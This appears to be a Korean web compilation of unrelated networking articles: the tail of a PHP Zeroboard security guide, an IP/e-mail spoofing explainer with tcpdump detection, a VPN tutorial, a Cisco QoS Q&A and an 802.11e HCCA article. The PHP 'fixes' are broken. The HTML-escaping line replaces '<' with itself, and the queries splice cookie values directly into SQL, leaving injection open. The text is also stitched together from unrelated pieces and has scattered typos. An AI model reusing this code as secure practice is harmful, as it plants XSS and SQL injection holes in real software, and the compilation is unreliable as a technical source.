eregi_replace("<", "<", $comment); 이런 식으로 $comment 의 내용중에 < 가 존재한다면 < 로 바꾸게 끔 만들어 주었다. 쿠키 스푸핑 Cookie Spoofing 에 대한 대책을 알아보자. Cracker 가 Admin 의 Cookie를 가져와서 Cookie Spoofing을 이용해 Admin Menu 에 접근하게 된다. 첫 번째로 Cookie를 도둑맞지 않기 위해 Cookie Sniffing을 막는 것이 중요하지만 Cookie를 도둑맞았을때의 경우도 대비해야 할 것이다. 필자는 이에 대한 대비로 Cookie 만을 쓰는 것이 아니라 Cookie + Session 의 조합을 사용하길 바란다. 하지만 Cookie 만을 쓰려고 할때의 필자가 생각하는 대응책을 설명 하겠다. 위의 Zeroboard 의 경우에서 보면 현재 접속되어 있는지 확인하는 부분이 있다. now_table 에 해당하는 ID 가 있으면 통과하는 것이고 없으면 통과를 못하는 것인데 table 의 구조를 약간 변형하여 IP 도 담는 것이다. 예를 들어 $userip 라는 변수를 선언하고 이 변수는 사용자로부터 입력을 받지 않고 PHP 환경변수인 $REMOTE_ADDR을 이용하는 것이다. 이렇게 하면 cracker 가 admin_setup.php?userip=속일IP 이런식으로 접근을 해와도 서버에서는 $REMOTE_ADDR 로 체크를 하기 때문에 피할 수 없게 된다. 여기서는 간단하게 소스를 만들어보겠다. $userip=$REMOTE_ADDR; $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where user_id='$cookie_userid' and userip='$userip'")); 하지만 이 방법에도 약간의 취약성은 존재한다. Admin 이 NAT 같은 환경하에서 접근하였을때 그 안에 있는 computer 들도 외부로 나갈땐 같은 IP 이기 때문에 Cracker 가 NAT 내부에 접근하였을 경우에 위의 인증을 회피할수도 있을 것이다. 그렇지만 위의 방법으로 체크를 한다면 Cracker 가 Hacking 하는데 훨씬 더 어려움과 수고를 하게 할 수 있다. 잘못된 알고리즘 여기서 말하는 잘못된 알고리즘은 lib.php에서 member_info 함수이다. $member 로 return 할때 없는 값일 경우 0 이 되어 trace.php 같은 file을 실행 할 수 있는 것인데 이에 대한 해결법으로는 now_table에서 해결하는 방법이 더 좋지만 간단하게 하려면 다음과 같이 하자. $member=mysql_fetch_array(mysql_query("select * from $member_table where user_id='$cookie_userid' and password='$cookie_password'")); if(!$member) { echo "죄송합니다. 당신의 Cookie 에 맞는 Data 가 없군요.“; exit; } Web CGI 든 일반 어플리케이션 프로그램이든 마찬가지이지만 잘못된 알고리즘 하나로 인해 Server 에 치명적인 Security Hole을 만들 수 있다는 것을 기억하자. | ||
IP 스푸핑(IP Spoofing)이란?
Spoof란 단어의 사전적 의미는 'hoax; trick; swindle 골탕 먹이다.; 속여먹다.; 야바위(치다), 우롱, 사취'이다. 즉 해커가 악용하고자 하는 호스트의 IP 어드레스를 바꾸어서 이를 통해 해킹을 하는 것을 IP 스푸핑이다.
네트워크 시스템에서 서로 신뢰관계에 있는 A, B 두 시스템간에는 A 시스템의 어카운트를 가지고 B 시스템을 액세스 할 수 있다. 이는 네트워크에서 신뢰관계를 형성하는 서비스가 네트워크 주소에 기반하여 이를 인증하기 때문이다. 이로 인해 IP 스푸핑이 가능해 진다. IP 스푸핑은 이 신뢰관계에 있는 두 시스템사이에서 해커의 호스트를 마치 하나의 신뢰관계에 있는 호스트인 것처럼 속이는 것이다. 또한 IP 스푸핑과 항상 연동돼 사용되는 공격법으로 TCP sequence number guessing attack을 들 수 있다.
TCP Sequence Number Guessing Attack이란?
과거에 Internet worm의 저자로도 유명했던 Robert T.Morris가 벨 연구소에서 인턴쉽으로 일할 때 쓴 논문에서 처음으로 알려졌고 AT&A사의 Bellovin S.M이 89년 쓴 논문에서도 언급이 되었던 공격 방법이다.(Security Problems in the TCP/IP Protocol Suite).
Kevin Mitnick이 사용한 방법 또한, 이런 공격을 이용해 몇 년 전에 보안업계를 떠들석하게 했었던 사건이 하나 있다. 바로 Kevin Mitnick이 슈퍼 컴퓨터센터 소속 연구원의 컴퓨터를 공격해 자료를 빼간 뒤 관리자인 Tsutomu Shimomura를 조롱하고 달아난 사건이다. Kevin Mitnick은 상당기간 동안 잡히지 않다가 Tsutomu Shimomura의 추적 끝에 간신히 잡힌 것으로 이 사건은 결말이 났다. 바로 이 사건에서 Kevin Mitnick이 쓴 방법도 TCP Sequence Number Guessing Attack의 특별한 한 형태라고 할 수 있다. (Kevin Mitnick이 사용한 방법은 IP 어드레스를 spoof해서 Berlerly R-command(rlogin, rcp, rsh 등)를 공격한 방법이었다.)
스푸핑에 관한 모든 것
TCP와 UDP 서비스는 호스트의 IP 주소가 유효하다고 가정하고, 그 결과로 주소를 신뢰한다. 어쨌든, 해커의 호스트는 IP 소스 라우팅을 사용해서 신뢰받는 호스트나 클라이언트로 변장할 수 있다. 해커는 IP 소스 라우팅을 사용해서 목적지의 길을 지정할 수 있고, 원래 위치로 돌아오는 길도 지정할 수 있다. 경로(route)는 여러분이 패킷을 목적지에 보내는 데 사용하는 라우터나 호스트를 말려들 게 할 수도 있다. 이 방법으로 해커는 진짜 호스트로 갈 패킷을 만나지 않고도 전송을 가로채거나 수정할 수 있다. 다음의 예는 어떻게 해커의 시스템이 특정한 서버의 신뢰받는 클라이언트로 변장할 수 있는지를 보여준다.
- 해커는 변장 호스트의 IP 주소를 신뢰받는 클라이언트의 주소와 일치하게 변경한다.
- IP 패킷은 직접 패스를 서버로 보내야 하고, 해커의 호스트로부터 가지고 돌아와야만 한다. 해커는 이 직접 패스를 지정하는 서버로서 소스 경로를 구성한다.
- 해커는 소스 경로를 사용해서 서버에게 클라이언트 요청을 보낸다.
- 서버는 요청이 신뢰받는 클라이언트로부터 직접 온 것처럼 생각해서 클라이언트 요청을 받아들이고, 신뢰받는 클라이언트에게 응답을 보낸다.
- 신뢰받는 클라이언트는 소스 경로를 사용해서 패킷을 서버의 호스트에 보낸다.
많은 유닉스 호스트는 소스-발송의 패킷을 받아들이고, 이 패킷을 소스 경로가 지시하는 곳으로 보낼 것이다. 많은 라우터는 소스-발송의 패킷 또한 받아 들일 것이다.
클라이언트를 스푸핑하는 간단한 방법은 클라이언트의 시스템이 종료할 때까지 기다리고, 클라이언트의 시스템을 흉내 내는 것이다. 많은 조직과 스태프 멤버는 개인용 컴퓨터와 TCP/IP 소프트웨어를 사용해서 연결하고, 유닉스 호스트를 LAN 서버로 활용한다. 개인용 컴퓨터는 종종 유닉스의 네트워크 파일 시스템(NFS)을 사용해서 서버 디렉토리와 파일(NFS는 IP주소만을 사용해서 클라이언트를 확인한다.)에 액세스한다. 해커는 진짜 클라이언트인 체해서 개인용 호스트에의 연결을 초기화한다. 해커는 이 스푸핑 공격을 쉽게 행할 수 있다. 게다가, 내부 사람만이 보호된 네트워크 내의 종료된 컴퓨터가 어떤 것인지 알 것이기 때문이 공격은 아마 "내부"공격이라고 알려질 것이다.
E-mail 스푸핑
인터넷상의 e-mail은 특히 속이기가 쉽다. 그리고 여러분은 일반적으로 디지털 서명과 같은 것이 없으면 e-mail을 신뢰하지 못할 것이다. 간단한 예로, 인터넷 호스트가 메일을 교환할 때의 교환을 생각해 보라. 교환은 ASCII문자 명령어를 사용하는 간단한 프로토콜을 사용해서 일어난다. 침입자는 텔넷을 사용해서 간단하게 수동으로 이 명령문을 입력해서 시스템의 SMTP 포트로 직접 연결할 수 있다. 받는 호스트는 보내는 호스트의 id를 신뢰하기 때문에 해커는 해커의 원래 주소와 다른 보내는 주소를 입력함으로써 간단히 메일의 근원지를 속일 수 있다. 결과적으로 특권이 없이도 아무 사용자나 간단히 e-mail을 속일 수 있다.
스푸풍 검출하기
비동기화 공격과는 달리, IP 스푸핑 공격은 검출해내기 힘들다. 만약 여러분의 사이트가 인터넷 라우터의 외부 인터페이스의 네트워크 트래픽을 모니터할 수 있는 기능이 있다면 여러분은 라우터를 통해 들어오는 트래픽을 검사할 수 있다. 여러분이 트래픽을 검사할 때 시스템 로그(Log)에 트래픽의 기록을 남겨야 한다. 검사(audit)기록을 사용해서 여러분의 지역 도메인에 포함된 목적지 주소와 소스 주소를 가지고 있는 패킷을 검사할 수 있다. 여러분은 인터넷에서 여러분의 네트워크로 들어오는 목적이 주소와 내부의 소스를 담고 있는 패킷을 결코 찾을 수 없을 것이다. 여러분의 라우터를 통과하는 주소를 담고 있는 패킷을 발견하면 이것은 IP 속이기 공격이 진행 중이라는 것을 나타내는 확률이 높다.
tcpdump와 netlog를 사용해서 스푸핑에 대항하기
무료 소프트웨어인 tcpdump와 netlog는 유닉스 시스템의 패킷 모니터링을 하는 것을 도와준다.
여러분은 tcpump를 ftp.ee.lbl.govhr의 /tcpdump.tar.Z에서 다운로드 받을 수 있다.(tcpump의 MD5 체크섬은 4D8975B18CAD40851F382DDFC9BD638F이다.). 여러분이 tcpdump패키지를 설치한 후 다음에 다음의 명령 행 지시를 따라서 domain.name 네트워크 소스와 데스티네이션 IP주소를 가지고 있다고 tcpdump가 지정하는 모든 패킷을 출력한다.
| #tcpdump src net domain.name(Enter) #tcpdump dst net domain.name(Enter) |
| #tcplogger -b | extract -U -e 'srcnet=X.Y.O.O {print}' <Enter> |
스푸핑 방지하기
이미 제시했듯이 스푸핑 된 패킷 내의 양 주소는 종종 여러분의 네트워크의 내부 주소와 일치한다. IP 스푸핑 공격의 가장 최고의 방어는 여러분의 지역 도메인에서 출발했다고 주장하는 패킷을 걸러내도록 라우터에 입력하는 것이다. 몇몇개의 라우터 회사는 입력 필터(input filter)로 알려진 다음의 패킷 필터링 기능을 지원한다.
- Bay Networks/Wekfleet, 버전 5 이후
- Cabletron
- Cisco, RIS 소프트웨어 버전 9.21 이후
- Livingston
현재 라우터 하드웨어가 패킷 필터링을 지원하지 않으면 여러분은 현재의 라우터와 인터넷 연결 사이에 두 번째 루우터를 설치해도 된다. 두 번째 라우터를 사용해서 스푸핑된 IP 패킷을 걸러 낼 수 있다.
Reference : http://elyjinni.com.ne.kr/hacking/ipspoofing.htm
VPN은 공중 네트워크를 사설 네트워크화해 사용함으로써, 비용 절감과 보안성의 두 마리 토끼를 잡을 수 있는 기술이다. 이같은 강점으로 인해 이미 많은 기업에서 도입하고 있으며, ISP에서도 VPN 서비스를 소개하며 서비스 시장에서 당당히 한자리를 차지하고 있다. 이번 강좌에서는 VPN의 구성요소와 발전 과정을 알아본다.
출처 - http://www.ionthenet.co.kr
김영미 기자
VPN(Virtual Private Network)은 공중 네트워크를 사설 네트워크처럼 사용할 수 있는, 인증과 데이터 암호화를 이용해 보안을 강화한 기술이다. VPN을 정확히 이해하기 위해 우선 사설 네트워크와 공중 네트워크의 차이점이 무엇인지 짚어보자. 사설 네트워크는 한 집단의 목적에 의해 만든 자체 네트워크로, 은행에서 구축한 본점과 지점간의 전용회선을 예로 들 수 있다. 이 전용회선은 은행 고객 정보를 교환하기 위해 물리적으로 폐쇄된 회선을 이용해, 네트워크 장비를 자체적으로 구축한다. 전용회선을 이용한 사설 네트워크는 보안성을 높이기 위한 최선의 방법이지만, 투자비가 많이 들고 운영 관리도 별도로 해야 하는 단점이 있다. 이와는 달리 공중 네트워크는 전화 통신처럼 모든 이에게 빌려주고 공개되는 것으로, ADSL, ISDN, 다이얼업 모뎀 등이 있다. 이용료는 저렴하지만 회선의 신뢰도, 보안성 등이 사설 네트워크보다 떨어지는 것이 사실이다.
VPN은 공중 네트워크인 ADSL, ISDN, 다이얼 업 등의 방법으로 인터넷에 접속하고, VPN을 이용해 회사내의 사설 네트워크처럼 폐쇄적인 네트워크를 구성해 회사 내의 중요한 정보를 주고 받는다는 것이다. 인터넷을 이용해 VPN을 구성하면 인터넷 회선과 사설 회선을 별도로 구성해야 하는 번거로움이 사라질 뿐 아니라 전용회선을 도입하는 비용도 아낄 수 있다.
따라서 대리점, 협력업체 간의 대금 지불, 구매, 발주 정보 등의 정보를 확인하는 익스트라넷(extranet)이 인터넷으로만 구성돼 있다면 VPN을 이용해서 보안성을 높일 수 있다. 부서원이 출장, 교육, 재택 근무를 할 때 집에서 개인적으로 ADSL, 케이블 모뎀, 다이얼업 모뎀 등으로 회사내의 게시판 정보나 급여 등을 인터넷을 통해 안전하게 볼 수 있다는 장점이 있다. 또한 VPN을 이용하면 지방이나 해외 지점에서 비싼 국제 전용 회선이 아닌 인터넷 회선을 이용해 본사 서버에 있는 게시판 등의 정보를 볼 수 있다.
(그림 1) VPN 적용 전과 적용 후 네트워크 구성
OSI 계층별로 다른 VPN 프로토콜
공중 네트워크를 사설 네트워크처럼 사용할 수 있게 하는 핵심적인 기술은 터널링(tunneling)이다. 터널링 과정은 연결하고자 하는 두 지점 간에 가상 터널을 형성해, 외부로부터 영향을 받지 않은 상황에서 정보를 주고 받는 것이다.
터널링의 핵심은 OSI 7계층 중 어느 계층에서 터널링을 수행하는가와 어느 구간까지 터널을 구성하는가이다. 최종 사용자와 백본까지 엔드 투 엔드로 터널을 뚫을 것인가, 아니면 백본과 가입자 앞단의 VPN 게이트웨이나 라우터까지만 터널을 구성할 것인가 등을 고려해야 한다. 터널링하는 방법에는 크게 2계층과 3계층 터널링이 있는데, OSI 2계층에서 동작하는 방식으로는 PPTP(Point-to-Point Tunneling Protocol), L2TP(Layer 2 Tunneling Protocol)가 있고, OSI 3계층에서 동작하는 방식으로는 IPSec을 들 수 있다(표 1).
PPTP(Point-to-Point Tunneling Protocol)는 PPP의 확장 개발된 프로토콜로, 인터넷을 통한 새로운 수준의 강화된 보안과 멀티 프로토콜 통신 기능이 추가됐다. 인터넷 프로토콜인 TCP/IP를 그대로 이용하면서도 외부인은 접근할 수 없는 별도의 VPN을 운용할 수 있는 프로토콜이다. 특히 PPTP 기반의 VPN을 통한 데이터 전송은 새로운 EAP(Extensible Authentication Protocol)를 사용하기 때문에 단일 LAN 내의 회사 사이트에서 데이터를 전송하는 것만큼이나 안전성을 보장한다. VPN 서버는 모든 보안 검사와 유효성 검사를 수행하고 데이터를 암호화해, 보안되지 않는 네트워크를 통해 가상 터널을 생성해서 보다 안전하게 전송할 수 있다. PPTP에서는 전화 접속 연결이 필요하지 않다. 그러나 컴퓨터와 서버가 IP로 연결돼 있어야 한다. IP LAN에 직접 연결돼 있으면서 서버와 접속할 수 있으면 LAN을 통한 PPTP 터널을 설정할 수 있다. 그러나 인터넷을 통해 터널을 만드는 중이고 일반적으로 ISP와의 전화 접속을 통해 인터넷에 액세스하는 경우 터널을 설정하기 전에 전화 접속으로 인터넷에 연결해야 한다.
L2TP(Layer 2 Tunneling Protocol)는 마이크로소프트의 PPTP와 시스코의 L2F(Layer 2 Forwarding) 프로토콜이 결합돼 IETF가 산업 표준으로 제정한 터널링 프로토콜이다. 현재 L2TP v3는 L2TP를 확장해 일부 새로운 서비스 모델을 포함시켰다. LT2P는 IP, IPX, NetBEUI 트랙픽을 암호화한 다음, IP 헤더로 캡슐화해 전송한다. PPP에서 제공되는 데이터 암호화 기법을 사용할 수도 있고 IPSec에 의해 제공되는 데이터 암호화 기법을 사용할 수 있는데, 이것을 L2TP/IPSec라고 한다. L2TP와 IPSec의 결합 형태에서 연결은 DES(Data Encryption Standard) 알고리즘을 사용하는데, 이 알고리즘은 DES에 대해 하나의 56비트 키를, 3DES에 대해 세 개의 56비트 키를 사용한다. L2TP/IPSec 연결은 두 가지 수준의 인증을 요구한다. IPSec SA(보안 연결)를 작성해 L2TP 캡슐화 데이터를 보호하기 위해 L2TP/IPSec 클라이언트는 인증서나 미리 공유된 키를 사용해 컴퓨터측에서 인증을 수행한다. IPSec SA가 성공적으로 작성되면 연결의 L2TP 부분에서 PPTP와 동일한 사용자측에서 인증을 수행한다.
(표 1) 터널링 프로토콜의 종류
(그림 2) 터널링 구현 과정
IPSec으로 집중되는 VPN
VPN에서 가장 많이 사용되는 프로토콜은 IPSec(Internet Protocol Security)이다. 이전의 보안 기법들은 보안 프로토콜이 통신 모델의 애플리케이션 계층에 삽입됐다면 IPSec은 본질적으로 데이터 송신자의 인증을 허용하는 인증 헤더 AH(Authentication Header)와 송신자의 인증과 데이터 암호화를 함께 지원하는 ESP(Encapsulating Security Payload), 키교환을 위한 IKE 등을 이용해 보안 서비스를 제공한다. 즉 터널로 들어가기 전의 IP 패킷은 IP 헤더와 페이로드(payload)로 구성된다. 터널로 들어가면 AH가 추가돼 캘슐화되는 것이다. 다음으로 ESP 헤더가 삽입되면서 IP 패킷을 암호화한다.
AH는 MD5 또는 HMAC 알고리즘을 사용해 인증을 처리한다. ESP는 DES, RC5 등의 암호화 알고리즘을 사용해 데이터를 암호화한다. IKE 키관리 절차에서는 ISAKMP/Oakley 프로토콜과 같은 별개의 키 프로토콜을 선택할 수 있다. 이같은 각 서비스에 관련된 명확한 정보는 IP 패킷 헤더의 뒤를 잇는, 헤더 속의 패킷에 삽입된다. AH가 무결성을 보장한다면 ESP는 보안성을 보장한다.
그리고 IPSec으로 전송시 트랜스포트 모드(Transport Mode)와 터널 모드(Tunnel Mode)를 지원한다. 트랜스포트 모드는 IP 헤더와 페이로드 사이에 AH 헤더가 삽입돼 IP 헤더의 일부, AH 헤더, IP 페이로드를 인증하는데, 이 방식은 호스트에서 구현할 수 있다. 터널링 모드는 IP 헤더와 페이로드 앞에 새로운 IP 헤더를 붙여서 IP 헤더의 일부, AH 헤더, 원본 IP 헤더, IP 페이로드를 인증한다. 이는 주로 호스트나 보안 게이트웨이에 적용할 수 있다. 트랜스포트 모드는 원본 IP 헤더의 일부분만 인증하지만, 터널 모드는 새로운 IP 헤더를 만들면서 원본 IP 헤더와 페이로드까지 인증한다. 인증 범위가 넓으니 신뢰성이 더 높아진다고 볼 수 있다.
(그림 3) AH 트랜스포트 모드 터널링 모드
분산 터널링으로 일정한 인터넷 접속 속도 유지
그렇다면 본사와 지사를 잇는 인트라넷이 아닌 인터넷을 사용할 경우에도 터널링을 통해 접속할까. 이는 VPN 장비가 제공하는 분산 터널링(Split Tunneling) 기능에 따라 달라질 수 있다. 예를 들어 본사에서는 인터넷 회선으로 E1(2.048Mbps)을 사용하는데 인터넷을 사용할 때 속도가 평균 100Kbps라고 가정하면, 지점에서 ADSL로 1Mbps의 고속 인터넷을 사용하다가 VPN 소프트웨어를 설치해 본사와 터널링을 구성해 본사 서버와 안정적으로 통신할 수 있다.
그러나 인터넷을 사용할 때는 본사와 연결된 터널링을 빠져나갈 수 없으니 본사의 E1 인터넷 회선으로 사용할 수밖에 없다. 그렇게 되면 직원들은 인터넷 접속 속도가 늦다고 불평을 할 것이다. 그래서 필요한 것이 분산 터널링이다. 분산 터널링을 적용하지 않으면 모든 트래픽이 VPN 장비까지 연결된 터널링으로 송수신해야 되므로, 사용자들은 인터넷에 접속할 때도 본사 VPN을 경유해야 한다. 이런 경우 보안은 강화될 지 모르나 접속 속도는 굉장히 늦어진다. 하지만 분산 터널링을 적용하면 인터넷을 사용할 때는 터널링을 적용하지 않고 바로 ISP로 연결되도록 할 수 있기 때문에 인터넷 속도가 빨라진다.
네트워크 기반의 VPN
VPN의 발전을 살펴보면, 고전적인 VPN은 OSI 7계층 모델의 2계층을 이용한 프레임 릴레이, ATM이었다. 이는 터널링 기법이 아닌 PVC나 SVC 등을 통해 VPN을 구현한 형태다. 이들은 단순 회선의 개념으로 다양한 부가 서비스와 접목할 수 없는 가장 초보적인 VPN이라고 할 수 있다.
이후 등장한 것이 L2TP, PPTP, IPSec 등 다양한 터널 기법을 기반으로 한 CPE(Customer Premise Equipment) 기반의 VPN이다. 기업들은 CPE 기반의 VPN을 가장 선호하고 있다. CPE 기반 VPN은 VPN 장비에서 전적으로 터널링이나 암호화 등을 수행하도록 하는 것으로, 파이어월에서 VPN 기능을 수용한 장비, VPN 전용 게이트웨이, 라우터에 모듈을 장착해 VPN을 수행하는 것, 소프트웨어로 VPN 기능을 하는 것 등 다양한 솔루션들이 출시돼 있다.
CPE 기반의 VPN은 단순 회선 접속 솔루션이 아니라 보안성을 감당해야 하기 때문에 암호화 강도를 높일수록 비용은 올라가고 성능은 떨어지게 된다. 따라서 각 장비 업체들은 데이터 압축 등과 같은 기술을 발전시켜 암호화를 수행하더라도 일정 수준의 성능을 유지할 수 있도록 하고 있다.
네트워크 기반의 VPN은 쉽게 생각해 서비스 제공업체에게 장비부터 회선, 관리까지 모두 아웃소싱하는 형태를 말한다. 네트워크 기반의 VPN은 최근 등장한 것으로, CPE 기반 VPN이 발전을 거듭하면서 생겨난 형태라고 볼 수 있다. 네트워크 기반의 VPN은 CPE VPN과는 달리 네트워크에서 ISP나 통신업체들이 VPN을 구현하는 것으로, 고객 입장에서는 투자 비용을 절감할 수 있고 ISP에게는 새로운 수익원이 될 수 있다. 때문에 향후 CPE 기반 VPN 시장을 다수 잠식하면서 세력을 키워나갈 것으로 전망된다.
네트워크 기반 VPN은 MPLS 기반 2계층 VPN, BGP/MPLS VPN이나 RFC2547bis(3계층), VRM(Virtual Router Model) 등의 기법에 의해 구현할 수 있다. BGP MPLS이 논리적인 포워딩 기술에 기반하고 있다면 VRM은 물리적인 라우터에서 논리적인 라우팅을 수행하는 기술이다.
서비스 업체의 새로운 수익원 VoIP VPN
현재 대부분의 VPN은 데이터 중심의 서비스가 주류를 이루고 있지만, VoIP 기술의 향상과 실제 적용 기업의 증가로 새로운 VPN 서비스로 VoIP VPN이 주목을 받고 있다. 이는 서비스 업체에게는 새로운 수익원으로, 기업은 저렴한 비용으로 기존의 음성 관리 및 통신비를 줄일 수 있을 것으로 기대되고 있다. 더 나아가 음성뿐 아니라 향후에는 화상 전송까지 포함한 멀티 서비스 over VPN이 등장하게 될 것이다.
VoIP VPN의 기본 개념은 기존의 데이터 VPN과 같지만, 음성이 네트워크를 타고 전송된다는 것이 다르다. VoIP VPN을 적용한 기업은 지역에 관계없이 공중 IP 네트워크를 이용해 4∼5자리의 구내 번호를 이용할 수 있다.
VoIP VPN은 비싼 음성 전용회선 대신 인터넷을 이용해 데이터 뿐 아니라 음성 서비스를 제공할 수 있어, ITSP(Internet Telephony Service Provider)나 서비스 공급업체들에게는 VoIP 기반의 새로운 서비스가 될 수 있다.
웹 기반의 인프라, SSL VPN 보안성 향상
IPSec VPN이 설치가 복잡하고 각 플랫폼별로 호환이 잘되지 않는다는 이유 때문에 최근에는 SSL(Secure Socket Layer) VPN에 관심이 높아지고 있다. SSL은 원래 넷스케이프(Netscape)에서 암호화된 웹 브라우징을 제공하기 위해 만든 프로토콜이다. SSL은 넷스케이프 뿐만 아니라 마이크로소프트의 인터넷 익스플로러에서도 지원하게 됐고 현재 많은 웹사이트에서 SSL을 통한 암호화 기능을 제공하고 있다. SSL은 사용자 영역 프로토콜(5계층)이기 때문에 기존의 커널을 수정하지 않고 단순히 웹 브라우저만 있으면 사용할 수 있다는 장점이 있다.
만약 기존의 VPN으로 하던 일을 SSL로 할 수 있게 된다면 커널을 수정하지 않고도 이미 거의 모든 시스템에 설치돼 있는 웹 브라우저를 이용해 쉽게 VPN 작업을 사용할 수 있을 것이다. 이같은 아이디어에서 출발한 것이 SSL VPN이다.
SSL VPN은 웹 브라우저를 통해 원격지에서 회사 네트워크에 접속할 수 있도록 한다. 이름에서 알 수 있는 것처럼 SSL VPN은 SSL 프로토콜을 이용하기 때문에 기존의 네트워크 애플리케이션 SSL을 지원하지 않을 경우에는 각각을 커스터마이징해야 한다는 단점이 있다. 하지만 대부분의 사용자가 웹, 메일, SSH 등을 사용한다고 봤을 때 대부분의 SSL VPN은 이들 프로토콜을 지원하기 때문에 사용하는데 큰 불편함이 없을 것이다.
(그림 4) SSL VPN과 IPSec VPN 비교
(그림 4)에서는 IPSec VPN과 SSL VPN을 비교했다. 일단 서버측에는 IPSec VPN과 SSL VPN의 위치가 크게 다르지 않다. 다만 일반적으로 IPSec VPN은 파이어월 기능을 함께 제공하는 제품이 많이 있기 때문에 별도의 파이어월을 설치하지 않는 경우가 많고 SSL VPN은 파이어월 기능을 제공하지 않기 때문에 별도의 파이어월이 필요하다는 점이 다르다.
클라이언트의 경우 IPSec은 전용 클라이언트를 설치해야 하지만 SSL VPN은 전용 클라이언트를 설치하지 않아도 된다는 큰 차이점이 있다. 그래서 IPSec의 경우 회사의 업무용 노트북이 아니면 사용하기 어렵지만 SSL VPN의 경우 웹 브라우저가 설치된 거의 모든 PC(게임방이나 공공 PC 포함)에서 사용할 수 있다는 장점이 있다.
네트워크 관리자입니다만 QoS에 관해 잘 몰라서 우선 CBWFQ로 적용해 놓았습니다. 문제는 예를 들어 전체 대역폭이 10Mbps라면 3Mbps의 대역폭을 사용자 A에게 할당하고, 나머지 7Mbps는 공유해 사용하도록 설정했을 때, 만약 사용자 A가 3Mbps의 대역폭을 모두 사용했을때, 나머지 7Mbps의 대역폭을 사용할 수 있는지 알고 싶습니다. 만약 사용할 수 있다면, 어떻게 설정해야 하는지도 궁금합니다.
A
QoS에는 여러 가지 방법이 있지만, 그 사용목적에 맞게 써야 한다고 봅니다. 먼저 CAR 프로토콜을 사용하는 QoS 폴리싱, 셰이핑과 같은 전용 대역폭을 사용하는 방식이 있으며, CBWFQ, DLLQ, FIFO, PQ 등 주로 큐잉이 사용되는 QoS 컨제스천 관리(congestion Management)와 같이 특정 트래픽에 우선권을 주는 방식이 있습니다. 따라서 트래픽이 몰리지 않는다면 큐잉은 동작할 필요가 없습니다. 트래픽마다 대역폭을 지정하기 위해서는 CAR가 보다 효율적입니다.
다음 예제에서는 AAA라는 트래픽(소스 IP가 192.168.1.3)은 3Mbps의 대역폭을 보장하고, 기본 트래픽은 7Mbps를 보장하는 QoS 적용 예제입니다.
policy-map rate_limite
class AAA
police 3000000 15625 15625 conform-action transmit exceed-action drop
class default
police 7000000 15625 15625 conform-action transmit exceed-action drop
interface fa0/1
service-policy input rate_limite
ip access-list extended AAA
permit ip 192.168.1.3 any
ip access-list extended default
permit ip any any
답변 : 김상준(kizard@freechal.com)
무선 LAN에서 QoS를 보장하기 위해 IEEE 802.11e에서는 폴링 메커니즘을 이용한 비경쟁 기반의 채널 접근 방식을 사용하는 HCCA 프로토콜을 제안하고 있다. 이번 호에서는 HCCA 프로토콜의 동작 메커니즘과 MAC 선택 기능에 대해 살펴본다. 또한 2005년 상반기로 예상되는 802.11e MAC의 표준화 완료 시기에 맞춰 무선 LAN 시장을 전망해본다.
정승화_한국루슨트테크놀로지스/LWS/책임연구원
EDCA(Enhanced Distributed Channel Access) 프로토콜은 8개의 사용자 우선 순위의 트래픽에 따른 차별화된 채널 접속을 지원하는 우선적(Prioritize) QoS(Quality of Service)인 반면, HCF(Hybrid Coordination Function) 비경쟁 채널 접속 방식인 HCCA(HCF Controlled Channel Access) 프로토콜은 액세스 포인트와 스테이션 간의 계약에 기반을 두고 패러미터(Parameterize) QoS를 지원한다.
패러미터에 의한 QoS 보장
HCCA 프로토콜은 무선 매체 접근에 대한 중앙 관리를 하기 위해 액세스 포인트에 위치하는 HC(Hybrid Coordinator)를 사용한다. HC는 무선 매체를 중앙에서 통합적으로 관리하기 때문에 스테이션 간 무선 매체에 대한 경쟁을 줄임으로써 네트워크의 효율성을 증가시킨다. HC의 제어에 의해 프레임 교환을 아주 짧고 일정한 전송 지연시간으로 유지할 수 있다.
따라서 HC는 EDCA 프로토콜에서의 CW(Contention Window)와는 다르게 네트워크 상의 트래픽이 증가해도 프레임간 전송 지연시간은 증가하지 않는다. 또한 동일 HC의 제어를 받지 않지만, 같은 주파수 대역을 사용하는 스테이션을 제외하고는 전송 프레임 간 충돌 가능성은 거의 없다. 패러미터 QoS 지원을 위해 응용 서비스로부터의 특정한 QoS 트래픽에 대해 개별 맞춤화된 QoS 패러미터로 적용하고 엄격한 전송 지연과 스케줄링 제어를 한다.
HCCA에서는 패러미터화된 QoS를 요구하는 어떤 프레임의 전송을 개시하기 이전에 트래픽 스트림(Traffic Stream)이라는 가상 연결(Virtual Connection)을 우선적으로 설정한다. 트래픽 스트림은 스테이션 투 액세스 포인트의 업링크, 액세스 포인트 투 스테이션 다운링크 또는 스테이션 투 스테이션 직접 링크 모두에 해당될 수 있다. 액세스 포인트와 스테이션간에 트래픽 스트림을 설정하기 위해서는 프레임 크기, 평균 전송 속도 등의 트래픽 특성, 그리고 지연 시간과 같은 QoS 요구 패러미터들이 상호 협상 과정을 통해 교환된다. 또한 HC는 호 제어 알고리즘을 구현해 특정한 트래픽 스트림을 해당 BSS(Basic Service Set)로 받아들일 것인지를 최종 결정하는 역할을 수행한다.
HC가 스테이션에 QoS CF-Poll 프레임을 전송할 경우, 해당 스테이션에게 허용된 서비스 제공 시간인 TXOP(The concept of transmission opportunity)를 정의한 TXOP 제한 값이 QoS 제어 필드에 포함된다. 즉, HC는 TXOP를 사용해 매체 접근 시간의 할당을 제어하는 기능을 수행한다. HCCA의 중요한 QoS 패러미터중 하나인 TXOP 제한 값은 TSPEC(Traffic Specification)에 의해 결정된다. TSPEC은 스테이션에 의해 요청되며, 액세스 포인트는 네트워크 상황에 따라 TSPEC의 요청에 대해 허용 또는 거절을 할 수 있다.
일단 트래픽 스트림이 설정되면, HC는 설정된 트래픽 스트림에 요구되는 무선 대역을 액세스 포인트와 스테이션간에 할당함으로써 계약된 QoS를 제공하려 한다. HCCA의 비경쟁 주기에서는 HC가 매체에 대한 전체적인 제어권을 가지고 있으며, 경쟁 주기에서도 필요하다면 PIFS()만큼의 유휴 시간 이후에 QoS CF-Poll 프레임을 전송해 매체 접근을 가능하게 할 수 있다. 즉, 경쟁 주기에서도 폴드 TXOP를 할당하기 위해 QoS CF-Poll 프레임을 전송함으로써 매체의 제어권을 획득하게 되는 것이다. 따라서 주기적으로 반복되는 HCF 슈퍼 프레임은 비경쟁 주기와 경쟁 주기를 모두 포함한다(그림 1).
